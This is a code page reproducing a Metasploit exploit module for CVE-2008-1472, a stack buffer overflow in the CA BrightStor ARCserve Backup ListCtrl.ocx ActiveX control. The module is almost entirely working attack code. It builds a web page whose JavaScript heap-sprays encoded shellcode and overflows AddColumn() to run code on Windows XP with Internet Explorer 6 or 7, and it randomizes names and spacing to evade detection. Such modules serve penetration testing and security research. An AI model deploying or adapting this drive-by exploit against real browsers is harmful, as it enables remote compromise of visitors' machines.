Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(update_info(info,12'Name' => 'CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow',13'Description' => %q{14The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is vulnerable to a stack-based15buffer overflow. By passing an overly long argument to the AddColumn() method, a remote attacker16could overflow a buffer and execute arbitrary code on the system.17},18'License' => MSF_LICENSE,19'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ],20'References' =>21[22[ 'CVE', '2008-1472' ],23[ 'OSVDB', '43214' ],24],25'DefaultOptions' =>26{27'EXITFUNC' => 'process',28},29'Payload' =>30{31'Space' => 1024,32'BadChars' => "\x00",33},34'Platform' => 'win',35'Targets' =>36[37[ 'Windows XP SP2-SP3 IE 6.0/7.0', { 'Ret' => 0x0A0A0A0A } ]38],39'DisclosureDate' => '2008-03-16',40'DefaultTarget' => 0))41end4243def autofilter44false45end4647def check_dependencies48use_zlib49end5051def on_request_uri(cli, request)52# Re-generate the payload.53return if ((p = regenerate_payload(cli)) == nil)5455# Encode the shellcode.56shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))5758# Create some nops.59nops = Rex::Text.to_unescape(make_nops(4))6061# Set the return.62ret = Rex::Text.to_unescape([target.ret].pack('V'))6364# Randomize the javascript variable names.65vname = rand_text_alpha(rand(30) + 1)66var_i = rand_text_alpha(rand(5) + 1)67rand1 = rand_text_alpha(rand(100) + 1)68rand2 = rand_text_alpha(rand(100) + 1)69rand3 = rand_text_alpha(rand(100) + 1)70rand4 = rand_text_alpha(rand(100) + 1)71rand5 = rand_text_alpha(rand(100) + 1)72rand6 = rand_text_alpha(rand(100) + 1)73rand7 = rand_text_alpha(rand(100) + 1)7475content = %Q|76<html>77<object id="#{vname}" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object>78<script>7980var #{rand1} = unescape("#{shellcode}");81var #{rand2} = 0x0A0A0A0A;82var #{rand3} = 0x400000;83var #{rand4} = (#{rand2} - #{rand3}) / #{rand3};84var #{rand5} = unescape("#{ret}");85var #{rand6} = 128;8687while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5};88#{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length);89#{rand7} = new Array();90for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1};91while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5};92#{rand5} = #{rand5}.substring(0, #{rand6});9394#{vname}.AddColumn(#{rand5}, 1);95</script>96</html>97|9899content = Rex::Text.randomize_space(content)100101print_status("Sending #{self.name}")102103# Transmit the response to the client104send_response_html(cli, content)105106# Handle the payload107handler(cli)108end109end110111112